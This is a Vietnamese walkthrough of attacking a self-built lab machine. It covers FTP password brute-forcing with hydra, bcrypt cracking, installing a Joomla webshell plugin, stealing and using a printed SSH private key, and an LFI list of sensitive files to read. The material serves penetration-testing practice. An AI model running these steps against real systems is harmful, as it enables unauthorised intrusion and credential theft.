Self-Dev - Finale
Đây là một máy tôi tự làm áp dụng một số lỗ hổng phổ biến như LFI, command injection để khai thác victim, lợi dụng lỗi cấu hình yếu của hệ thống để lấy được các thông tin quan trọng, từ đó truy cập được vào máy và thực hiện leo thang đặc quyền.
Tôi đã cố gắng xây dựng nhiều hơn 1 cách để khai được máy này. Vậy nên trong writeup này tôi sẽ trình bày tất cả những lỗ hổng và cách khai thác chúng để truy cập được vào máy.
Máy ảo được cấu hình với DHCP server. Để xác định IP của máy, sử dụng netdiscover. Tôi đang sử dụng 192.168.24.0/24
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ sudo netdiscover -r 192.168.24.0/24
Reconnaissance and Scanning
21/tcp open ftp syn-ack vsftpd 2.0.8 or later
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c5:b4:01:68:ae:ee:48:60:03:ff:38:b1:72:18:00:e4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDVvPZI6pD5lkfC5jLZ/PiWiJNOBG4WYRRRxpziziHdVNnrQaRgqippRJpvbeuxOGZ7lW8yZgmik0Jab2GFkR/x7ooE/VNBxiGd/eAziTP0uT1n1WYRu7B6A1v2nL6qwDmRp/qfiQX9QwdYsWTpfrC//DuHfN5Dh2CAgOZAprUg9lRlZkFwbgfYcGwUu5GOqtZGfQtYG0NQk0B7Vp4hrLywzfidbZt8LjEF/PnGXE7SHytjGJ2MpaAjhXS2ULdFmTzHusG61WM7Az0AghxS3fXgwqQgdcBLHfKKhweGZNd+lzAzy0r439xXdMNkFwGt7Megws4DZwDm6GO1J1elcw+aOzqlXBrzzwpQ+pVeWZ9Dkg/MLroSTi1nZ2Yg7z24jDmmTAMBPLk7xZMcS+ZRdjl9f0veF8AW6u1tBunt0t0o4NvGnSdXhHgnXzamQ3wQMzxcQATTFKJKmnJnn+o9qx7t+05xcKH9pIMLNk9t7RGdeqFWZkqGmgYLdqQRLhcWYvk=
| 256 a2:4e:d7:89:d4:7a:0c:bd:fa:46:60:ee:eb:a5:f8:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIXCkEEyL46BJSiwv9eMiNA+PEw0QALYmftxcH74HZF17BCW5uXrp1zhmeeTj3HADKp3X+Lacnp/koOE+kEgTY8=
| 256 02:25:87:e5:40:33:0e:b5:2c:19:89:42:af:e1:40:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHnbYN44WW1MB9OJSMeWXa6LqT1Hvt0+n3edKUP7v8l7
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
139/tcp open netbios-ssn syn-ack Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack Samba smbd 4.6.2
1337/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Cat Blog - Home
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: 0s
| smb2-time:
| date: 2024-06-23T16:45:36
|_ start_date: N/A
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 12631/tcp): CLEAN (Couldn't connect)
| Check 2 (port 63557/tcp): CLEAN (Couldn't connect)
| Check 3 (port 43846/udp): CLEAN (Failed to receive data)
| Check 4 (port 33713/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| nbstat: NetBIOS name: FINALE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| FINALE<00> Flags: <unique><active>
| FINALE<03> Flags: <unique><active>
| FINALE<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00
Enumeration
Port 21 - FTP
Truy cập FTP server với port 21
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ftp 192.168.24.165
Connected to 192.168.24.165.
220 Welcome back, ftpuser
Name (192.168.24.165:neo):
Để ý trong phần banner của ftp server, có vẻ như tôi đã được cung cấp sẵn username để truy cập ftp
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ftp 192.168.24.165
Connected to 192.168.24.165.
220 Welcome back, ftpuser
Name (192.168.24.165:neo): ftpuser
331 Please specify the password.
Password:
Vậy là tôi đã có username ở đây, vậy còn password? Tôi sẽ thử brute-force
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ hydra -l ftpuser -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt ftp://192.168.24.165
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-24 00:12:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 59185 login tries (l:1/p:59185), ~3700 tries per task
[DATA] attacking ftp://192.168.24.165:21/
[STATUS] 279.00 tries/min, 279 tries in 00:01h, 58906 to do in 03:32h, 16 active
[21][ftp] host: 192.168.24.165 login: ftpuser password: harrypotter
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-24 00:13:41
Truy cập lại ftp server
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ftp 192.168.24.165
Connected to 192.168.24.165.
220 Welcome back, ftpuser
Name (192.168.24.165:neo): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||26732|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 120 Jun 21 18:35 start.txt
226 Directory send OK.
ftp> get start.txt
local: start.txt remote: start.txt
229 Entering Extended Passive Mode (|||17287|)
150 Opening BINARY mode data connection for start.txt (120 bytes).
100% |****************************************************************************************************| 120 57.30 KiB/s 00:00 ETA
226 Transfer complete.
120 bytes received in 00:00 (31.40 KiB/s)
ftp>
Nội dung start.txt
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ cat start.txt
I got his pass. But I dont know how to use this!
Can you?
$2a$10$lPOk4/i0R2TU70R.9HCs1.lG1TXKkX14od.1EzJnd453t4jQRSl8q
Tôi nhận được một password hash với format bcrypt, một trong những format phổ biến nhất trong linux. Sử dụng john để decrypt nó
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ echo '$2a$10$lPOk4/i0R2TU70R.9HCs1.lG1TXKkX14od.1EzJnd453t4jQRSl8q' > hash
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 20 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:10 DONE (2024-06-24 00:22) 0.09794g/s 141.0p/s 141.0c/s 141.0C/s teamomucho..rachelle
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tuy nhiên thì tôi chưa biết password này sẽ sử dụng để đăng nhập vào đâu, nên để lại đó.
Quay trở lại với phần port scan, thử truy cập vào smb với port 445 nhưng tôi không thu được gì thêm vì server không chia sẻ file nào.
Port 80 - HTTP
Tiếp tục với port 80 http
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ whatweb http://192.168.24.165
http://192.168.24.165 [200 OK] Apache[2.4.41], Cookies[ecf033cb8f4e3a32a22b2d4052ca809a], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], HttpOnly[ecf033cb8f4e3a32a22b2d4052ca809a], IP[192.168.24.165], MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN]
Tôi có ngay 1 user của Joomla là Administrator ở trang chủ. Kết hợp với password đã có ở phần trước, sau khi thử qua một vài username của admin thì tôi tìm được thông tin đăng nhập admin:tequieromucho.
Sử dụng dirsearch để tìm directory
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ dirsearch -u http://192.168.24.165
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/neo/Finale/reports/http_192.168.24.165/_24-06-24_00-43-38.txt
Target: http://192.168.24.165/
[00:43:38] Starting:
[00:43:40] 403 - 279B - /.ht_wsr.txt
[00:43:40] 403 - 279B - /.htaccess.bak1
[00:43:40] 403 - 279B - /.htaccess.orig
[00:43:40] 403 - 279B - /.htaccess.sample
[00:43:40] 403 - 279B - /.htaccess_extra
[00:43:40] 403 - 279B - /.htaccess_orig
[00:43:40] 403 - 279B - /.htaccess_sc
[00:43:40] 403 - 279B - /.htaccessOLD
[00:43:40] 403 - 279B - /.htaccessBAK
[00:43:40] 403 - 279B - /.htaccess.save
[00:43:40] 403 - 279B - /.htaccessOLD2
[00:43:40] 403 - 279B - /.htm
[00:43:40] 403 - 279B - /.html
[00:43:40] 403 - 279B - /.htpasswds
[00:43:40] 403 - 279B - /.htpasswd_test
[00:43:40] 403 - 279B - /.httr-oauth
[00:43:42] 403 - 279B - /.php
[00:43:51] 301 - 324B - /administrator -> http://192.168.24.165/administrator/
[00:43:51] 200 - 31B - /administrator/cache/
[00:43:51] 301 - 329B - /administrator/logs -> http://192.168.24.165/administrator/logs/
[00:43:51] 200 - 507B - /administrator/includes/
[00:43:51] 200 - 31B - /administrator/logs/
[00:43:51] 200 - 3KB - /administrator/
[00:43:51] 200 - 3KB - /administrator/index.php
[00:43:53] 301 - 314B - /api -> http://192.168.24.165/api/
[00:43:53] 404 - 54B - /api/
[00:43:56] 301 - 316B - /cache -> http://192.168.24.165/cache/
[00:43:56] 200 - 31B - /cache/
[00:43:57] 200 - 31B - /cli/
[00:43:58] 301 - 321B - /components -> http://192.168.24.165/components/
[00:43:58] 200 - 31B - /components/
[00:43:58] 200 - 0B - /configuration.php
[00:44:05] 200 - 3KB - /htaccess.txt
[00:44:06] 301 - 317B - /images -> http://192.168.24.165/images/
[00:44:06] 200 - 31B - /images/
[00:44:06] 301 - 319B - /includes -> http://192.168.24.165/includes/
[00:44:06] 200 - 31B - /includes/
[00:44:06] 404 - 4KB - /index.php/login/
[00:44:07] 200 - 2KB - /index.php
[00:44:08] 301 - 319B - /language -> http://192.168.24.165/language/
[00:44:08] 200 - 31B - /layouts/
[00:44:08] 403 - 279B - /libraries/
[00:44:08] 403 - 279B - /libraries/phpmailer/
[00:44:08] 403 - 279B - /libraries/tiny_mce
[00:44:08] 403 - 279B - /libraries/tiny_mce/
[00:44:08] 403 - 279B - /libraries/tinymce
[00:44:08] 403 - 279B - /libraries/tinymce/
[00:44:08] 403 - 279B - /libraries
[00:44:08] 200 - 7KB - /LICENSE.txt
[00:44:11] 301 - 316B - /media -> http://192.168.24.165/media/
[00:44:11] 200 - 31B - /media/
[00:44:12] 200 - 31B - /modules/
[00:44:12] 301 - 318B - /modules -> http://192.168.24.165/modules/
[00:44:17] 301 - 318B - /plugins -> http://192.168.24.165/plugins/
[00:44:17] 200 - 31B - /plugins/
[00:44:19] 200 - 2KB - /README.txt
[00:44:20] 200 - 360B - /robots.txt
[00:44:21] 403 - 279B - /server-status
[00:44:21] 403 - 279B - /server-status/
[00:44:26] 301 - 320B - /templates -> http://192.168.24.165/templates/
[00:44:26] 200 - 31B - /templates/
[00:44:26] 200 - 31B - /templates/index.html
[00:44:26] 200 - 0B - /templates/system/
[00:44:26] 301 - 314B - /tmp -> http://192.168.24.165/tmp/
[00:44:26] 200 - 31B - /tmp/
[00:44:31] 200 - 877B - /web.config.txt
Task Completed
Truy cập vào /administrator/ tôi có login form quản trị của joomla. Thử login với thông tin đăng nhập đã có
Với phiên bản 5.1.1 của joomla là một phiên bản mới, tôi đã thử tìm kiếm các lỗ hổng cũng như PoC của phiên bản này nhưng không có kết quả khả thi. Vậy nên tôi sẽ chuyển sang cách khai thác là tìm kiếm plugin hoặc template có chứa lỗ hổng có thể khai thác được. Dù sao thì tôi cũng đã có user admin với quyền cao nhất, nên tôi có thể làm mọi thứ với web này.
Sau khi tìm kiếm trên internet, tôi tìm thấy plugin có thể tạo được lỗ hổng command injection và thực thi được rce trên máy
Truy cập vào github repo và tải plugin về. Sau đó upload nó lên joomla
System -> Extension, tại Upload Package File, tải lên plugin. Khi thành công, tôi nhận được thông báo
Tiếp tục làm theo hướng dẫn như trong github repo, thử câu lệnh id
Gaining access
Vậy là tôi đã thực thi được lỗ hổng command injection trên joomla. Tiếp tục làm theo hướng dẫn trong repo để lấy rce. Clone repo về máy kali
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ git clone https://github.com/p0dalirius/Joomla-webshell-plugin.git
Cloning into 'Joomla-webshell-plugin'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 33 (delta 4), reused 25 (delta 0), pack-reused 0
Receiving objects: 100% (33/33), 3.21 MiB | 2.26 MiB/s, done.
Resolving deltas: 100% (4/4), done.
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ cd Joomla-webshell-plugin
┌──(neo㉿n0b0dy)-[~/Finale/Joomla-webshell-plugin]
└─$ ls -la
total 44
drwxr-xr-x 7 neo neo 4096 Jun 24 01:07 .
drwxr-xr-x 4 neo neo 4096 Jun 24 01:07 ..
-rwxr-xr-x 1 neo neo 4756 Jun 24 01:07 console.py
drwxr-xr-x 2 neo neo 4096 Jun 24 01:07 dist
drwxr-xr-x 8 neo neo 4096 Jun 24 01:07 .git
drwxr-xr-x 2 neo neo 4096 Jun 24 01:07 .github
-rw-r--r-- 1 neo neo 352 Jun 24 01:07 Makefile
drwxr-xr-x 4 neo neo 4096 Jun 24 01:07 plugin
-rw-r--r-- 1 neo neo 3624 Jun 24 01:07 README.md
drwxr-xr-x 2 neo neo 4096 Jun 24 01:07 test_env
Sử dụng python để lấy rce
┌──(neo㉿n0b0dy)-[~/Finale/Joomla-webshell-plugin]
└─$ python3 console.py -t http://192.168.24.165
[webshell]> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[webshell]> whoami
www-data
[webshell]> pwd
/
Tôi tìm thấy thứ ssh private key của user bill, và do lỗi phân quyền của người quản trị nên tôi vẫn có thể xem được private key và lấy nó về
[webshell]> ls -la /home
total 20
drwxr-xr-x 5 root root 4096 Jun 21 18:20 .
drwxr-xr-x 19 root root 4096 Jun 18 09:52 ..
drwxr-xr-x 5 bill bill 4096 Jun 24 02:44 bill
drwxr-xr-x 4 ftpuser ftpuser 4096 Jun 22 13:53 ftpuser
drwxr-xr-x 5 mark mark 4096 Jun 21 19:34 mark
[webshell]> ls -la /home/bill
total 36
drwxr-xr-x 5 bill bill 4096 Jun 24 02:44 .
drwxr-xr-x 5 root root 4096 Jun 21 18:20 ..
-rw-r--r-- 1 root root 0 Jun 21 19:34 .bash_history
-rw-r--r-- 1 bill bill 220 Jun 19 18:01 .bash_logout
-rw-r--r-- 1 bill bill 3771 Jun 19 18:01 .bashrc
drwx------ 2 bill bill 4096 Jun 21 15:14 .cache
-rw------- 1 bill bill 0 Jun 21 19:29 .history
drwxrwxr-x 3 bill bill 4096 Jun 21 15:14 .local
-rw-r--r-- 1 bill bill 807 Jun 19 18:01 .profile
drwxr-xr-x 2 bill bill 4096 Jun 21 16:15 .ssh
-rw-r--r-- 1 root root 0 Jun 21 19:34 .zsh_history
-rw------- 1 bill bill 33 Jun 21 15:35 user.txt
[webshell]> cat /home/bill/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Lấy key về, thay đổi quyền và login ssh
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ nano id_rsa
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ chmod 600 id_rsa
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ ssh -i id_rsa bill@192.168.24.165
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-186-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon 24 Jun 2024 03:21:32 AM UTC
System load: 0.02 Processes: 237
Usage of /: 16.4% of 47.93GB Users logged in: 0
Memory usage: 18% IPv4 address for ens32: 192.168.24.165
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Sat Jun 22 13:53:47 2024 from 192.168.24.128
bill@finale:~$ id
uid=1001(bill) gid=1001(bill) groups=1001(bill)
bill@finale:~$ ls -la
total 36
drwxr-xr-x 5 bill bill 4096 Jun 24 02:44 .
drwxr-xr-x 5 root root 4096 Jun 21 18:20 ..
-rw-r--r-- 1 root root 0 Jun 21 19:34 .bash_history
-rw-r--r-- 1 bill bill 220 Jun 19 18:01 .bash_logout
-rw-r--r-- 1 bill bill 3771 Jun 19 18:01 .bashrc
drwx------ 2 bill bill 4096 Jun 21 15:14 .cache
-rw------- 1 bill bill 0 Jun 21 19:29 .history
drwxrwxr-x 3 bill bill 4096 Jun 21 15:14 .local
-rw-r--r-- 1 bill bill 807 Jun 19 18:01 .profile
drwxr-xr-x 2 bill bill 4096 Jun 21 16:15 .ssh
-rw------- 1 bill bill 33 Jun 21 15:35 user.txt
-rw-r--r-- 1 root root 0 Jun 21 19:34 .zsh_history
bill@finale:~$ cat user.txt
1c49f6a547901cc4b95d15baf8f0c9be
bill@finale:~$
Port 1337 - HTTP
Truy cập vào web http://192.168.24.165:1337
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ whatweb http://192.168.24.165:1337
http://192.168.24.165:1337 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.24.165], Title[Cat Blog - Home]
Sử dụng dirsearch
┌──(neo㉿n0b0dy)-[~/Finale]
└─$ dirsearch -u http://192.168.24.165:1337
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/neo/Finale/reports/http_192.168.24.165_1337/_24-06-24_11-00-30.txt
Target: http://192.168.24.165:1337/
[11:00:30] Starting:
[11:00:31] 403 - 281B - /.ht_wsr.txt
[11:00:31] 403 - 281B - /.htaccess.bak1
[11:00:31] 403 - 281B - /.htaccess.orig
[11:00:31] 403 - 281B - /.htaccess.sample
[11:00:31] 403 - 281B - /.htaccess.save
[11:00:31] 403 - 281B - /.htaccess_extra
[11:00:31] 403 - 281B - /.htaccess_orig
[11:00:31] 403 - 281B - /.htaccessBAK
[11:00:31] 403 - 281B - /.htaccess_sc
[11:00:31] 403 - 281B - /.htaccessOLD
[11:00:31] 403 - 281B - /.htaccessOLD2
[11:00:31] 403 - 281B - /.htm
[11:00:31] 403 - 281B - /.html
[11:00:31] 403 - 281B - /.htpasswds
[11:00:31] 403 - 281B - /.httr-oauth
[11:00:32] 403 - 281B - /.php
[11:00:34] 403 - 281B - /.htpasswd_test
[11:00:35] 200 - 507B - /about.php
[11:00:47] 200 - 597B - /contact.php
[11:00:47] 301 - 321B - /css -> http://192.168.24.165:1337/css/
[11:00:53] 200 - 448B - /gallery.php
[11:00:55] 301 - 324B - /images -> http://192.168.24.165:1337/images/
[11:00:55] 200 - 501B - /images/
[11:01:05] 301 - 323B - /posts -> http://192.168.24.165:1337/posts/
[11:01:07] 403 - 281B - /server-status
[11:01:07] 403 - 281B - /server-status/
Task Completed
Ở /posts/, tôi để ý phần url có thể khai thác lỗ hổng LFI. Sau khi thử một số payload LFI đơn giản, tôi tìm được payload LFI với base64 encode
Sử dụng Burpsuite để chỉnh sửa request
Lỗ hổng Local File Inclusion (LFI) là một trong những lỗ hổng bảo mật phổ biến trong các ứng dụng web. Mục đích của lỗ hổng LFI là cho phép kẻ tấn công đọc và đôi khi thực thi các tệp tin trên hệ thống máy chủ thông qua một lỗ hổng trong mã nguồn của ứng dụng web. LFI có thể đọc được tất cả những file tồn tại trong máy chủ miễn là user của chúng ta có quyền đọc nó.
- Tệp cấu hình hệ thống
- /etc/passwd: Chứa thông tin về người dùng trên hệ thống Unix/Linux.
- /etc/shadow: Chứa mật khẩu đã được băm của người dùng trên hệ thống Unix/Linux.
- /etc/group: Chứa thông tin về các nhóm người dùng trên hệ thống Unix/Linux.
- /etc/hosts: Chứa thông tin về ánh xạ địa chỉ IP và tên miền cục bộ.
- Tệp cấu hình ứng dụng
- config.php hoặc config.yml: Chứa thông tin cấu hình cho các ứng dụng web, bao gồm thông tin đăng nhập cơ sở dữ liệu.
- settings.py: Tệp cấu hình của ứng dụng Django.
- web.config: Tệp cấu hình của ứng dụng ASP.NET.
- .env: Tệp môi trường chứa các biến môi trường, bao gồm thông tin nhạy cảm như API keys, thông tin đăng nhập.
- Tệp nhật ký (log files)
- /var/log/syslog hoặc /var/log/messages: Tệp nhật ký hệ thống.
- /var/log/auth.log: Tệp nhật ký xác thực, ghi lại các sự kiện đăng nhập và các hoạt động liên quan đến bảo mật.
- /var/log/apache2/access.log: Tệp nhật ký truy cập của máy chủ web Apache.
- /var/log/nginx/access.log: Tệp nhật ký truy cập của máy chủ web Nginx.
- Tệp cơ sở dữ liệu
- database.sqlite: Tệp cơ sở dữ liệu SQLite có thể chứa dữ liệu quan trọng.
- backup.sql: Tệp sao lưu cơ sở dữ liệu có thể chứa toàn bộ dữ liệu ứng dụng.
- Tệp mã nguồn và tài liệu
- source code files: Mã nguồn của ứng dụng có thể chứa các thông tin nhạy cảm như API keys, thông tin đăng nhập hoặc các đoạn mã dễ bị tấn công.
- documentation: Các tài liệu nội bộ có thể chứa thông tin về kiến trúc hệ thống, hướng dẫn quản trị và các thông tin nhạy cảm khác.
